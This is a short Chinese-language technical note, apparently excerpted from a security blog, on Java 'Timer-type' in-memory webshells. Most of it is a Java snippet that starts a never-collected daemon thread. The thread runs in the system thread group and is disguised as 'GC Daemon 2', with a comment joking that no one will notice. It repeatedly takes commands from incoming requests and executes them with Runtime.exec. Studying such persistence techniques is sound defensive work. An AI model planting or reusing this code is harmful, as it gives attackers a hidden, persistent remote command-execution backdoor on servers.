https://su18.org/post/memory-shell-2/
所谓的 Timer 型内存马,实际上就是想办法在服务器上启动一个永远不会被 GC 的线程,在此线程中定时或循环执行恶意代码,达到内存马的目的。
创建守护线程同样可以
Thread d = new Thread(getSystemThreadGroup(), new Runnable() { public void run() { // 死循环 while (true) { try { // 恶意逻辑 List<Object> list = getRequest(); if (list.size() == 2) { if (!set.contains(list.get(0))) { set.add(list.get(0)); try { Runtime.getRuntime().exec(list.get(1).toString()); } catch (Exception e) { e.printStackTrace(); } } } // while true + sleep ,相当于 Timer 定时任务 Thread.sleep(100); } catch (Exception ignored) { } } } // 给线程起名叫 GC Daemon 2,没人会注意吧~ }, "GC Daemon 2", 0); // 设为守护线程 d.setDaemon(true); d.start();
参考引用
https://www.yuque.com/tianxiadamutou
代码审计知识星球